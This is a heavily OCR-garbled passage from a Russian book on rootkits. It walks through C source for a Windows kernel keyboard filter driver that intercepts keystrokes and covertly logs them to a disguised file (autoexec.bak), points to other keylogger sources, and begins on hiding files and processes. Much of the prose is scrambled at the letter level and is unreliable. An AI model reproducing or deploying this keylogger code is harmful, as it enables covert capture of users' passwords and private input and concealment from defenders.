й клавиш и и з бер уф и в IRP; м «н»хврае .
,
И
, ак к ц епочк а р оу йс т в ы б о а рт в е т и н о р м фа ц и ю я з апро с н а ченти е н ажит я клавиш и ормфи уест т всо е пешут вси е вн и з п о цпечок е уройвста а 8042. жаодК е р о й увс т о ж ом е т м оид ц ф р о в а т о ин ча е ореагти ов ь н а IRP. т суюлед щ и
р маргоп я з ыа р б т ь и до н йолс , пеьврот , зна
Т С ДРА Й В Е Р А М
о псаеотд
а поль з оваетл
о н и зо к
й с н е иф м н е приседт о н ап и с т . А эот
. очДатсн
. Осн ов ы
Р аз б ер м ся г е вс н ча и е о нк р тл е ак т
о сл ож н г
р клави утр ы беду т ртабо ь н а сома м вы оск е в тмо , чт о в течок , гд е м ы мжео м перхвиат е кон виертоан ы в птека ы IRP. Эт и IRP провдигаю ст е драй вео . Вес , чт о на м н жун о , — эт о васвти .
Н о п ростг Р у т ик т долж е п у у с тр о й с т с л е уд ю щ и ж ыа д К ру ос йт в На р о й у с тв
я од в л ь н
е че м при успт ь к раз рбкот е свнебтос г , ва м н уж о з н аьт , ак к Windows упраевля ь т э о н а п ри м е . ольПск у м ы соб и раем , т о и объснят ь ртбоа у с драйвем м драй веом .
а вр е
На и н сер т о
ь н ап и с н
, чт о на м н ужн о н паитс ю вс е н аж и т й рд а й в е р л авк и урыт й п о л р ик т в а н и , че м писат ь драйве
, поликртую щ у ь с о бв е т н ы
тва
т н а м и з б еж ат .
а л ак в и у р ты
о вы ;
в а Гл
Р у тки
т (к л а в и а т у р н ы с н и ефр
а 6.Пехрва
т н а уровн
й
/device/sniffer
с )
/device/keyboardclassO
е ярд
а
)
I Кл а с драй в ер
с "kbdclass" (кл а с а кл а в и а ту р ы
1
Драй ве
р п орт а кл а в и а ту р (i8042prt)
Цеп оч к
ы
а драй в еро
Г руп у с тр о й с т
в
к оП и д ц ф ров ат ер П м о н е п к р в дт а йор тсу
а IRP дви ж ест , ка к перйт в чоне в ув тйсор , дл я з агруз к
о р й ев а д а вд р П
я врве .
ь еог д тме
6.6. иочЦепк
еровай д
х п о цпчеок
и к рнермстаои ь ва м пмагро ь п ол ез н ы . Пм арго и м п аг ро
в
ы IRP, пчаедр я дл я бнмое а дан ы м , а тжак е дл я пчадер
К сож ал ен и ю нб о р д п н чье о
и ж де м и слжубен о
, кажыд
я п а ек
ы
й драй ве
р мжое
т мо
ю сюудел щ ге о впоаср , раз реш и т е мн е у DeviceTree, вы щвяоду ю дерв о драй вео в й и н м у ре т с т п р и раз б кот е м н ог ур в н е ы х а www. o s r o n l i n e . com. у мжно о стча к ь с сйта ы н ужн а беспнлат я р е г и с та ц и я .
х веад у п ол ь з в е ат о ск
К В АВ /О Д В Ы О Д
А
т Диспчет
р ввода/вы ода й п рог ам и ж ем д
й иорнмацфи
, уртск
о оп и сан , а чот т Мн в о ргу е ы щ у с о в н ел т и м и р у е ст
й кырот
р кл а в и а ту р 8042
и уст строй в
е драйвео
6 . 5 . 2 . IRP и СЕТ т е к аП юс т мор
)
а
Ко н тр о л е
с.Ри
'
(бе з и м е н и
а IRP умодкенитрва о в ои цф аль н о й у м о д ке н а ц т и о вбщо е н е описан о . е рд а й в е ы н д ог о рой в уст и з ап рос а в о да / в ы о д а к м н ог ур в е м т IRP, кот ры й б у де т п е р да
, и споль з у й и драй ве у драй верами
.
а о лт ь к о ч иа с т н о . от Ч т о и о т Microsoft, чот т о н е а орм и ф ую н в се
т цу ч п о е к у др а й в е м др а й в е р а
. рП у ор ф м ц е п о ч ки
и . 173
RootKits
П ерв ы м пчлуоеа вы м . Послнед и О н пчлуоеа
т IRP драйве р ниавы шс ге й рд а й в е р в цпечок . т IRP понслед им
о уровн я е в ы п ол н е я
, сщ ояти
й в ц печок
т н и з о ук р в н е ы . ^
е пре
.
е у н фцк и
.. .
.J S i x ]
File View Јe&rch Jds Help
°Ш ГЙ\ЈТ
1
H
D R V № № *
EB Й
D H V \Dr(v«Wm» D R V \Drivet\drnload
W
9 9
D R V \Dr««\Fdc D R V \Drivcf\FETN01SB
•
D R V \>iver\flps
'ХЬ Шгр уёЛиЗ LoadAodresi
Ш D R V ^ I v e r i f t d t s k :•. DFW \Driver\Gpc 3
A T T yCwvice^eytaardCSaSiO @ • D E V (unnamed) A T T \I>evit*:\PwntetClassfl
> Ь «В210С
Oirver Sizr.
50KB
т
Duvet !срЬО
D E V (unnamed)
Т
Hande Court. References' Altnbur.es
D R V \Dnver\iMH2prt &•
d
j * J vlara Function Code» Supported:
б
IRP MJ CREATE IRP MJ CLOSE IRP MJ FLUSH BUFFERS IRP MJ DEVICE CONTROL IRP_MJJN!ERNAL_OEVICE_CONTROL
:
itMoaSooo'™
Slartlo Entry Porn
brf3S218CF
Add Device Entry Punt:
i3xF982№ 1C"
~
D R V \Dnvei\trrwp«
Fiagr . :
ILiGACYJj'RMR
Щ
D R V \0.w»i\tpFiterDriver
Service Heme;
SSSprt""
1
D R V \aiv«\JPS«:
!*!
D R V \Orhpvery;bdcla5f D R V W W r t r V * D R V \DriverVr/er\Kbdda« D E V \Oevice\K*ybosrdaaj D E V \Devjce\Keybsardaa: D R V \Drwrty.tf D R V \Ower\Kfoc D R V \Dr(ver\kmixer D R V \r>rvery.s*cDO D R V \Dnver\MA!LFILT,DU ORV \Onver\mnmdd
Device Capacities: Г DeviceDI Г DockQevfce Г DeweD2 V} r t l n k j g e i O •) LockSupporled Г Removable Г " EiectS upported
Г Г Г Г
: Г RawPeviceOK : Г SuipiseRemova Г Sttentfnstaii
F Г " Г " Г '
WakeFromDO WakeFiomOl WakeFiofr,D2 WakeFiom03
и Лс т и н
!,D1 Latency.
DeytceWafce;
j : D 2 L a i e W
D3Latency: i
^
. 7. J. DeviceTree: росмп т р
г 7 . 1 . СТАОНУВК
HardwsreDtsebled NonDynamie .: WaimEieclSupooited ; NoOtsptayfnUI
[ SydemWak*
J Рис
'
:у :
А ФЬРТЛ И
А Р УТА КЛИВ
орм ацифн
о флагх
ера вй д
Ы
NTSTATUS H o o k K b r d d N PDRIVERJDBJECT p D r i v e r O b j e c t ) / / фи л ь т р об ъ ект а устрой ств а PDEVICEJDBJECT p K e y b o a r d ; NTSTATUS s t a t u s ; / / с о з д а е м объек т устрой ств а дл я кл а в и а ту р s t a t u s = I o C r e a t e D e v i c e ( p D r i v e r O b j e c t , sizeof(DEVICE EXTENSION), NULL,
ы
179
RootKits FILE_DEVICE_KEYBOARD, 0, true, pKeyboard); // убедимся , чт о увтсйор о дньлетивсй о надзос о if(!NT_SUCCESS(status)) return status; // Устанвлие м галф и pKeyboard>Flags = pKeyboard>Flags I (DO_BUFFERED_IO I DO_POWER_PAGABLE); pKeyboard>Flags = pKeyboard>Flags & ~DO_DEVICE_INITIALIZING; // иницалзруе м рутк с у DEVICE_EXTENSION. // слачн а еялунбо м RtlZeroMemory(pKeyboard>DeviceExtension, Sizeof(DEVICE_EXTENSION)); PDEVICE_EXTENSION pKeyboardExtension = (PDEVICE_EXTENSION)pKeyboard>DeviceExtension; // Нша е устройв о в цкчопе е утсйор в беду т сьтидохан я // вшы е увтсйор а KeyboardClassO (им я в Unicode). // Устанвлием тьлиф р вовзы м IoAttachDevice CCHAR NameBuffer[64] = "\\Device\\KeyboardClassO"; STRING NameString; UNICODE_STRING KeyboardDeviceName; RtllnitAnsiString(SNameString, NameBuffer); RtlAnsiStringToUnicodeString(&KeyboardDeviceName, SNameString, TRUE); IoAttachDevice(pKeyboard, SKeyboardDeviceName,&pKeyboardExtension>pKeyboardDevice); RtlFreeUnicodeString(uKeyboardDeviceName); DbgPrint("Attaching Filter Device ... OK\n"); return STATUS_SUCCESS; }// HookKbrd
7.2. ЗСУПА
К ОГОНЬ ЛЕ ДТ ИТА ЖАН
О ПА КОТ Я Л А В ИК
, Щ ЮУГРЕИЛО КОТРП
О
Ш
В н р е мс кл а в и а т у р лк а в и
я к н ша е й у н фц к и и DriverEntry. лсПо е уаснт овк и л ов уш к ы н а м н уж н о и н и ц и али з и ров ат ь п от к дл я з ап и с и н а ж ит ш в фай л . Польск у тэ о уовдль сти е довль н о об ъ ем н , мрио ф ге о в вид е фунцк и и InitKeySnif f er (ли стн г 7.2). н ит с и Л
г 7.2. И Ц КН УФ
и лд я й м
Я INITKEYSNIFFER
NTSTATUS InitKeySniffer( IN PDRIVERJDBJECT pDriverObject) { // Улетазк ь н а DEVICE_EXTENSION истеузьлоп я лд я // иницалз и ырот кен х чонел в рутк с ы PDEVICE_EXTENSION pKeyboardExtension = (PDEVICE EXTENSION)pDriver>DeviceObject>DeviceExtension;
180
в а Гл
а 7. Пиш е
м се ф ни
р л а в у к ри т
ы
// Синяотс е пот ка , пгещюурилокт о итаж н я шивалк , // беду м тинарх ь в bThreadTerminate pKeyboardExtension>bfhreadTerminate = false; // Сеадзо м от п к HANDLE hThread; NTSTATUS status = PsCreateSystemThread(ShThread, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL,LogKeysThread, pKeyboardExtension); if(!NT_SUCCESS(status)) return status; // Пеачуло м летаз ку ь н а океъб т пкот а ObReferenceObjectByHandlef hThread, THREAD_ALL_ACCESS, NULL,KernelMode, (PVOID*)SpKeyboardExtension>pThreadObj, NULL); // На м бшьло е н е нежу н дотпирксе р кот п а ZwClose(hThread); return status; }
аК е а зд о с ил в т о а р з ж е оп
к виедт
т яп О р т ы сб лД
ь взщоаврсме о е а и н рб я ег о хран е и
м к о тп ь мас .
, в фунцк и , ыротк и н аж и т
и InitKeySnif fer н ичге й е д уб т п е ыр х в а т я л ав и к ш е д уб т у н ф цк и
я к DriverEntry. иНжат т тс ке т , пю ялва тсдер т об с я на м понбадист я сзвян ы
о сложн г о нте : м ы прост о ь н а ж ит я л ка в и ш . Прокт я LogKeysThread, н о о не й
я кившал й ы р ен в п й список
, онебос й о тп . Соз аид
о кдго а кот т к накс вод к м ж е его :
о .
PDEVICE_EXTENSION pKeyboardExtension = (PDEVICE_EXTENSION) pDriver>DeviceObject>DeviceExtension; InitializeListHead(SpKeyboardExtension>QueueListHead);
р еп Т цз аи
ь з аймес и м ы од л ж н и ь пл со з ы м е у
пу тсо д и п ь л с о з тв а е м утвеид ч и ут л п о
я си н хро и з ац и е й пу тсо д а к мо т э у у п ки с . Д л я си н хро и ы и сп ол ь з в ат ь с п и н б лио к р в у (spinlock) механ из м й рд о я м Windows NT дл я обеспчн и я в з а и м о л юс к ч а ю щ е г а к г л об а ь н ы м си ем н т ы м ура т к с м адн ы х . Есл и м ы н е е д уб ь вз аимоблкрв у (эт о дгуро е н аз вн и е spinlock'a), т о ри уск ь син й эарк н си трем , кдго а дв а пко т а ондвомер о п оы юа т с ь дуост п к сзвян ом у су кпис .
, о м я
KelnitializeSpinLock(SpKeyboardExtension>lockQueue); KelnitializeSemaphore(&pKeyboardExtension>semQueue, 0 , MAXLONG);
лсоП ы т ип с а в м еч о П ни е р
е эгот
о приуспт ь пвхерчан ы у имен о так е .bak н е вы з вое
м к сзонади е н ажит ? А чбот ы н итк т п зо д нер и й
ю файл а ол п к р т а в нге о м ы беду м за я клавиш . Наз ове м ег о с : \ a u t o e x e c . bak. о н е догалдся . С ондо й сорнт ы , расш и , а с дгуор й ор н ст ы , на ш фай л н е беду т 181
RootKits
п зер а и с н ов ыст ек autoexec . b a t н е исполь з усеят
м мор т ка де
, опльск
у в Windows 2000/Х Р йа ф
л
.
IO_STATUS_BLOCK f i l e _ s t a t ; OBJECT_ATTRIBUTES attrib; CCHAR NameFile[64] = WDosDevicesWc : Wautoexec .bak'' STRING NameString; UNICODE_STRING FileName; RtllnitAnsiString(SNameString, NameFile); RtlAnsiStringToUnicodeString(SFileName, SNameString, TRUE); InitializeObjectAttributes( Sattrib, SFileName, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = ZwCreateFile(spKeyboardExtension>hLogFile, GENERIC_WRITE, Sattrib, Sfile_stat, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT, NULL,0 RtlFreeUnicodeString(SFileName); if (Status != STATUS_SUCCESS) { DbgPrint ("Cannot create log file...\n") ; DbgPrint("Status = %x\n", file_stat); else
/ / йа ф л ш еп нс у о соз дан , н е и д оыв м ин к а / / дл я м а с ки р о в к и / / D b g P r i n t ( " C r e a t i n g f i l e . . . OK\n") ;
М ы пксиче т кар з г е р аи в о т с
и нласип ь фунцкию
и фцниук , вы з умева
х оч л ад тн ы
ю DriverEntry. Ве с ю пр и вызугрк
х щ б н о ие с
, чт о на м ь осола тс , — эт о е драйве а и з пит мая :
pDriverObject>DriverUnload = SnifferUnload; return STATUS_SUCCESS;
оК
д фунцк и
иЛ с т и н
и Snif f erUnload пиервд
г 7 . 3 . Ф УН ЦИК
н в листн г
е 7.3.
Я SNIFFERUNLOAD
VOID SnifferUnload( IN PDRIVER_OBJECT pDriverObject) { //Пеачуло м летаз ку ь н а DEVICE_EXTENSION PDEVICE_EXTENSION pKeyboardExtension = (PDEVICE_EXTENSION) pDriverObject>DeviceObject>DeviceExtension; //Оеачюлкт м тьлиф р IoDetachDevice(pKeyboardExtension>pKeyboardDevice);
182
й
в а Гл // пмеджо еин ладу
, коп
а нша
и IRP "утурм
а 7. Пиш е " (ве д й ы
м се ф ни т и х TTL) ерп
р л аувр икт
ы д
м // увтсйор а KTIMER Timer; LARGE_INTEGER timeout; timeout.QuadPart = 1000000; // 0.1 с KelnitializeTimer(STimer); while(numPendinglrps > 0) { //Уеавилнтс м емйат р KeSetTimer (STimer, timeout, NULL); KeWaitForSingleObject(STimer, Executive, KernelMode, false ,NULL); } //Зеашрв м от п к реф инс а pKeyboardExtension >bThreadTerminate = true; // Оеаджобвс м офамес р KeReleaseSemaphore(SpKeyboardExtension>semQueue,0,1,TRUE); KeWaitForSingleObject(pKeyboardExtension>pThreadObj, Executive, KernelMode, false, NULL); //Зеавырк м йаф л ZwClose(pKeyboardExtension>hLogFile); //Уеялад м втсйор у о IoDeleteDevice(pDriverObject>DeviceObject) ; return;
7.3. ОКТО БАР
А IRP ЧИ Н Е Т
Я КЛР УТА ИВ
Ы
р еп Т
ь ри ас м от м ун ц кф и ю KeyRead, ыбоартвю щ у ю IRP_MJ_READ. а фунцк и я в ы з вс а е т я пр и октбоар е конрлте м л к а в и у тр ы з ап рос а н а чнети . Н а эот т мнмео т IRP ещ е н е сержоди т н уж о й н а м и н о р м аф ц и : ан м нжеу н IRP уж е плсо е тго , ка к бы л о зисакф рован о н ажит е л ка в и ш и , т о етс ь агдот , гдок а IRP едуб т в оз ращ ь т с я ноб рат о о т о нк р т л е а ла к ыру ви та . нЗ ачит , нша ме у рай д в е у п ри с ет д я з арег и ст ров а ь з ав ерш аю щу ю пцоруде у с пщмо ь ю вы з о а loSetCompletionRoutine, ин ча е м ы н е сжоме м в осп л ь з ов ат с я о з те ар ь л у м IRP. тЭ
н ит с Ли
г 7.4. И Ц КН УФ
Я KEYREAD
NTSTATUS KeyRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP plrp) { PIO_STACK_LOCATION currentlrpStack = IoGetCurrentlrpStackLocation(plrp); PIO_STACK_LOCATION nextlrpStack = IoGetNextlrpStackLocation(plrp) *nextIrpStack = *currentIrpStack;
183
RootKits // пеадр м орпаз с IRP "вниз " IoCopyCurrentlrpStackLocationToNext(plrp); // реуритсг м ущюашрев з ю прудецо у ReadCompletion IoSetCompletionRoutine(plrp, ReadCompletion, Device, TRUE, TRUE, TRUE) ; // увелича м ичте с к ын ечулоп х IRP // Эт о ганьлбо я ан ем р п я numlrps++; // пеадр м IRP н а уневор ь инв з return IoCallDriver(( (PDEVICE_EXTENSION)Device>DeviceExtension)>KeyboardDevice, plrp); ) // KeyRead
л с оП з ы в с ает ви ш и с ма ыд
е KeyRead сома е врем я з аньтяс я фунцкие й ReadCompletion. Он а вы я а гд о т , кгдо а в сменитсо м ре б фу е уж е етс ь санк ок д н ож а т й ал к и и осает я ег о одут а из влечь . Тчнео , в сменитсо м бер уф е с и н тд о х а я в и з н еослкьи х л ем э н о т в утркс р KEYBOARD_INPUT_DATA, кжа й и з корыт х свеутсо т н ожат й клавиш е .
typedef struct _KEYBOARD_INPUT_DATA { USHORT Unitld; USHORT MakeCode; USHORT Flags; USHORT Reserved; ULONG Extralnformation; ) KEYBOARD_INPUT_DATA, *PKEYBOARD__INPUT_DATA;
М ы оевдт ел бо
м дл е убонд у
я хран е и ю дл я н аш их
я н аж о т ц ле
й клавиш
struct KEY_DATA { LIST_ENTRY ListEntry; // пицзо char Data; char Flags;
аН м пон адбист я ещ е онд а суртк щ ом ь ю корт й можн о уазкьт Shift) бы л и н ажт ы онд оврем н struct KEY_STATE { bool kSHIFT; bool kCAPSLOCK; bool kCTRL; bool kALT;
184
и н е эт у суртк KEY_DATA:
й суртк
, киак
//нтаж //нтаж //нтаж //нтаж
я в сонзяв
а урткс е и з клави ш миодактрф о с н йе .
м ксип
а сонстяи
а Shift а CAPS LOCK а Ctrl а Alt
, а оилепдр
м
е
я клави ш и
, с по в (Ctrl, Alt,
в а Гл н ит с Ли
г 7.5. И Ц КН УФ
а 7. Пиш е
м се ф ни
р л аувр икт
ы
Я READCOMPLETION
NTSTATUS ReadCompletiondN PDEVICE_OBJECT pDeviceObject, IN PIRP plrp, IN PVOID Context) ( PDEVICE_EXTENSION pKeyboardExtension = (PDEVICE_EXTENSION)Device>DeviceExtension; if (Irp>IoStatus.Status == STATUS_SUCCESS) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp>AssociatedIrp.SystemBuffer; // скьло о нитаж й ивалк ш улепс о птсапо ь в бефу р int numKeys = Irp>IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA); for (int i = 0; i Data = (char)keys[i].MakeCode; keyData>Flags = (char)keys[i].Flags; //Деялвабо м рутк с у KEY_DATA в сынзяв й осип к ExInterlockedlnsertTailList( SpKeyboardExtension>QueueListHead, SkeyData>ListEntry, &pKeyboardExtension>lockQueue) ; //Уеавичл м офамес р н а 1 KeReleaseSemaphore(SpKeyboardExtension>semQueue,0,1,FALSE) } // for } // if // Пеачмо м IRP ка к ынажредз й if(pIrp>PendingReturned) IoMarklrpPending(plrp); // п о зинешрва и ктобар и IRP уеашьнм м ичте с к numlrps—; return Irp>IoStatus.Status ) // ReadCompletion
7.4. ЗСИПА м еч о П в ы п олн ен и
Ь Ы Н ПЕЧ А В Х Е Р у м ы н е жм о е я уф н к ц и
Х КЛАВИ
Ш В ФАЙ
м сохран т я ь н ы жа т е л ак в и ш и ReadCompletion? Потму
Л и в айф л п мр я о в дох е , ч т о о н а р а б о та е т с 185
RootKits
п р и о ет
м и з апрещ н ы х клави т оп т к уж и у дб т й п та м я
л ам ж иа т я о Эт к о пт ж г у р м ео а н ит с и Л
г 7.6. И Ц КН УФ
IRQL, рван ы м DISPATCH_LEVEL, н а корт . Пмотэ у ReadCompletion одлж н а паетрд ш пу ко т , кырот й м ы сзолад и пр и и н и ц али з ац и е з апиш е т и о р м ан ц ф ю в файл . Обмен и вьатс чер з бо щ и й дл я н и х з с в я н ы й пс и ко , н ащходя и й с и (No n Paged Pool memory). Я LOGKEYSTHREAD, А Щ Ю А В Ы ИС П ЗА
Я И Т А НАЖ
м операц и ь дан ы и ера сн ф и я адн ы м
Я И В А КЛ
Ш В ФЙ А
и с фай е о на . и т э и я в ныве
Л
VOID LogKeysThread (IN PVOID Context) { PDEVICE_EXTENSION pKeyboardExtension = (PDEVICE_EXTENSION)Context; PDEVICE_OBJECT pKeyboard = pKeyboardExtension>pKeyboardDevice; // энемл т ксип а PLIST_ENTRY pListEntry; LIST_ENTRY ListEntry; KEY_DATA* keyData; // Гынвал й киц л октобар и накс од к в while(true) { // Оеадиж м ын ад е KeWaitForSingleObject( SpKeyboardExtension>semQueue, Executive,KernelMode, FALSE,NULL); pListEntry = ExInterlockedRemoveHeadList( &pKeyboardExtension>QueueListHead, SpKeyboardExtension>lockQueue) ; // Пот к рдя а зьлен я тишреваз ь извне . // Зеашрв м ге о соньлетясма , лсе и фал г инешр ваз я // установле . // Эот т фал г устеавилн я кьлот о в сачул е // вкзургы и ревйа д а if(pKeyboardDeviceExtension>bThreadTerminate == true) { PsTerminateSystemThread(STATUS_SUCCESS); // извлека м ын ад е и з саксип . // макро с CONTAINING_RECORD еащрвзо т летаз ку ь // н а нлач о рутк с ы ын ад х keyData = CONTAINING_RECORD( pListEntry, KEY_DATA, ListEntry); // пеузарбо м накс ок д в ко д кшивал и char keys[3] = (0); ScanCode2KeyCode (pKeyboardExtension, keyData, keys)
186
в а Гл //у б е д и м с я , ч т о п о л у ч е i f ( k e y s != 0)
н п рав и ль н ы
й ко
а 7. Пиш е
м се ф ни
д пере
д з ап и сь
р л а в у к ри т ю е г о в аф й
ы л
{
//зеавысип м ын ад е в фйа л if(pKeyboardExtension>hLogFile != NULL) { IO_STATUS_BLOCK io_status; NTSTATUS status = ZwWriteFile(pKeyboardExtension>hLogFile, NULL,NULL,NULL, &io_status, &keys,strlen(keys), NULL,NULL); }// if }// if }// while return; }// LogKeysThread
р пе Т
ь и р мт со а
м у н ц фк и ю ScanCode2KeyCode. Послкь у н о а н исо , т о я птсор о пирвде у е е ли стн г — еб з омкен арти в я фун цк и я и сп ол ь з уе т и см а в ы а М у е К р и ExtendedKeyMap, а тажк о оп ред л н и й (луч ш е эт и таблиц ы вы н ест и в оедлть н ы й з агол й фай л codes . h).
ж лу с б е н ы Д ан а н е с ок л ь ч н ов ы
т .
й ер т ха к
н ит с и Л
г 7.7. И Н А В О З А Р Б О Е Р П
Е СНДА ККО
А В КО
Д Ш И В КЛА
е
И
void ScanCode2KeyCode (PDEVICE_EXTENSION DeviceExtension, KEY_DATA* keyData, char* keys) { char key = 0; key = К[ раМуе keyData>KeyData ] ; KEVENT event = {0} ; KEYBOARD_INDICATOR_PARAMETERS indParams = {0); IO_STATUS_BLOCK ioStatus = {0} ; NTSTATUS status = {0 } ; KelnitializeEvent(Sevent, NotificationEvent, FALSE); PIRP irp = IoBuildDeviceloControlRequest( IOCTL_KEYBOARD_QUERY_INDICATORS, DeviceExtension>pKeyboardDevice, NULL,0, SindParams,sizeof(KEYBOARD_ATTRIBUTES), TRUE,Sevent,SioStatus); status = IoCallDriver(DeviceExtension>pKeyboardDevice, irp) if (status == STATUS_PENDING) { (VOID) KeWaitForSingleObject( ќ
187
RootKits Sevent, Suspended,KernelMode, FALSE,NULL); } status = irp>IoStatus.Status; if(status == STATUS_SUCCESS) { indParams = * (PKEYBOARD_INDICATOR_PARAMETERS) irp>AssociatedIrp.SystemBuffer; if(irp) { int flag = (indParams.LedFlags & KEYBOARD_CAPS_LOCK_ON) DbgPrint ("Caps Lock Indicator Status: %x.\n", flag); } else DbgPrint("Error allocating Irp"); }//end if switch (key) ( case LSHIFT: if(KeyData>Flags == KEY_MAKE) DeviceExtension>kState.kSHIFT = true; else DeviceExtension>kState.kSHIFT = false; break; case RSHIFT: if (KeyData>Flags == KEY_MAKE) DeviceExtension>kState.kSHIFT = true; else DeviceExtension>kState.kSHIFT = false; break; case CTRL: if(KeyData>Flags == KEY_MAKE) DeviceExtension>kState.kCTRL = true; else DeviceExtension>kState.kCTRL = false; break; case ALT: if(KeyData>Flags == KEY_MAKE) DeviceExtension>kState.kALT = true; else DeviceExtension>kState.kALT = false; break; case SPACE: if((DeviceExtension>kState.kALT != true) && (KeyData>Flags == KEY_BREAK)) keys[0] 0x20; break;
188
в а Гл
а 7. Пиш е
м се ф ни
р л аувр икт
ы
c a s e ENTER: if((DeviceExtension>kState.kALT != true) && (KeyData>Flags == KEY_BREAK)) { keys[0] = OxOD; keys[1] = OxOA; } break; default: if((DeviceExtension>kState.kALT != true) && (DeviceExtension>kState.kCTRL != true) && (KeyData>Flags == KEY_BREAK)) { if((key >= 0x21) && (key kState.kSHIFT == true) keys[0] = ExtendedKeyMap[KeyData>Data]; else keys[0] = key; }// if }// if break; }// switch(keys) ќ// ScanCode2KeyCode
7.5. СКРОБ
А СР ФЕ НИФ
А
е Сн ф и р уж е н аписн . Ва м сйеча с пиотсдер т огромн а я рабто : собрат ь п ри не дв ы й в пыдещру м п ну т к е ко д видеон . Те , кт о сп равстя я с эит м зад м н еи , муго т счиьат , чт о он и н е толь к о праснек о знюа т С , н о и раз обрли с с о вес м пыдерщу и м е мр и а т л о . В эо т м пунтк е я п а р юо с т ь ав м в эот п мч о ь . оКн еч н о , мож н о бы л о п рост о п ри в ест и в п ри лож ен и и п олн ы н д ои ы х с й кдо , н о я в ц еля х вша ге о раз ви т я н е бду у эогт о делаьт . Во ыврпех йа л ф
, гдок а т е д уб е лю пк д о ч т а х ntddk.h и ntddkbd.h.
ь з аг ол в ч н ы
е ай фл ы
, н е зьдбуат
ь м й е о
• include " n t d d k . h " • i n c l u de "ntddkbd.h"
ж каТ и орм ац н ф
е н е н уж
о з аб ы в ат я о санкаходк
н ме р П а
я numlrps одлж н
i n t numlrps = 0; лсЕ и в ы раз би л и фунцк и н ем рп а я — вн еш ня
ь о н ша е . а бы т и н а рзан ы :
м а й фл ь глобаь н й е файлы
е codes, h, в ортк
м х р а н и ст
я
: , т о н е зьдбуат
е уакз ьт
, чт о эт а
189
RootKits
e x t e r n numlrps; Д л я косркта и м ы исполь з вал в ия ь т :
и нвыо
й ти п BOOL, помтэ
у ег о н жун
о оъб
typedef BOOLEAN BOOL;
Вд о р
е б ы е вс .
рд а й в е
7.6. Ы В О Т ГО Ва
м лен й вмнер
ны ва и тсо тес
. Тпер
ь а в м н уж
Е ЫНР КЛУТА ИВ ь писат
Е СР ФЕ НФИ
ь свобенст ы м сне фи
т огбос и в ы мжоте
о тадур е нйат
дл я уанст овк у р . Ран и тва ь в ррест
а очне
, мотпэ
ь MAKEFILE и омпктил рова
ь
Ы
й ес рн ф и р клавиурт . Пирче и ег о висре
гм Поа р а з а п су е т к я и н иче о т нроеаст к в коингуфрац и он о HookDump паозк ы ват ь и ен й рт ф а в о им т ч е с к , чт о имне о нжун ил и собы ит я мы ш и , в кока й фай гм Поа р и т л ась »
о зос та д
ь хорш ая у е е ю о п е л р яд
? гоМ у помренк вдат ь н е р в по ы HookDump. Найт и ег о в Ин ерт е н е м HookDump н паис н н аослть к о давн о , чт о в и ка к дл я Win 3.11, та к и дл я Windows XP. м н е пвероля т себ я . Е е повенд и е з ва и с м а й лф е . Та м в ы может уа кз ь т , беду с п р и з е п ак с у , едбу т л и о н з аг руж ь т с о пывхерта ь собы ит я клавиурт л н жун о з аписы ват ь вс е н аж ит я л а вк и ш
, н о у не е оид н нкотасде т жа д е ым а с е рд е в н и и п г мо ар ы ав м нидохбе м и з ф ч е си к е верси и HookDump нжун о бы л о тжак е саемлтоьсян е дл я аиомватчгеск о запксу .
: у ж боль н е ан ит в русы й у тсо д
о он
т т л и я ы и / .
а «звеса . И еще
п к кмпоью ет о ппориыс
:
Р а з у м се я т , морк е HookDump щюувсте т и руг д и е п гор ма ы . аН п ир м е , в архив е h t t p : / / w w w . s o u r c e s . r u / b u i l d e r / k s . r a r ос ед р ж и с т я жу е воытг й лавкиурнт ы й е рс н ф и , аюрбот щ и й п о мо т у ж е п ир н ц п у , чт о и HookDump. Прочиат ь о н е м м ож н о н а й ат с е h t t p : //www. h a r d l i n e . ru/3/37/3579. а Т м ж е в ы н айетд е сы лк у н а ег о н ид о х с ы й кдо . Соз ан д и е клави уртн ог о сенр фи а опинас о в мнвжотсе е сейат . Наприме B h t t p : / / h a c k z o n e . s t s l a n d . r u / s p e c x a k e p / s 0 0 4 / 0 7 4 / 1 . h t m l акср з на о , ка к н апи ст ь сне фи р с ипслоьз вна ие м Visual С , а н е DDK.
190
,
АВ Г Л
8. РЫ ЕТИК СО
R O O T K I T S
ОВ ЛЙ ФА
н дО а и з вжанйеш и и файлов , пропи сан ы
х фунцки
й ритк у х в ег о кионгурацф н о
а т э о сырикто
е файло м а й фл
в сгома е рикуат
о ритк у
а
.
В г в ла е 6 м ы расремлот и в х па е р т в ы з ов а ZwQuerySystemlnf ormation я с ор кы ит я п цор в с е ; ет м ж е обсп м мжо н о п ер хв и ат ь ну ц к и ф ю ZwQueryDirectoryFile и срык ват ь файлы . Н о эот т спос б ием т дв а ноде акт с : вопервы х , о н сравн иельт н о легк о обн аруживсяет , а воорывт х , о н н е поз веля т сркы т ь файлы , располжен ы е н а общ и х раз едлх . Исполь з у я м н ог ур в е ы е драй веы , м ы мжео м из бавиьтс я о т эит х новкаетдс . дл
аК
к вадгес
, н чан е
м с фунцк и
и DriverEntry:
PDEVICE_OBJECT d r i v e _ d e v i c e s [ 2 6 ] ; NTSTATUS D r i v e r E n t r y ( I N PDRIVERJDBJECT p D r i v e r , IN PUNICODE_STRING p R e g P a t h ) {
// бывоти е вис ам ы ULONG HookableDrives = 0; ULONG DrivesToHook = 0; // ооньлатс й иыноицазл й код.. . for (i=0; iMajorFunction[i] = DispatchFunction; } pDriver>FastIoDispatch = My_FastIOHook; for (i=0; i= 1) && (startPID == curPID)) return 0x00000000; else Flink; eprocess = eprocess FLINKOFFSET; curPID = *( (int*) (eprocess + PIDOFFSET)) ; count++;
}
Об ират в ую ст е о щ е в ы ч и сл ен и щм ес н и
е вн има е
, чт о уазкелт
и FLINK и BLINK уазк ы ваю т н е н а нлча о ы EPROCESS, а н а е е чел н LIST_ENTRY, TO етс ь дл я я уа кз ет л я н а EPROCESS нжу о но т я ь о т п ол уч ен ог о сер да а е FLINKOFFSET. й суртк
Им тсе з ап ущ ен в но ы к а а ц с оп р е и н ме з а п е м у с кы
я проц ес ь у н и а кл ь н ы м
П о комак з ав и с п цор с е
а праевсдтлн
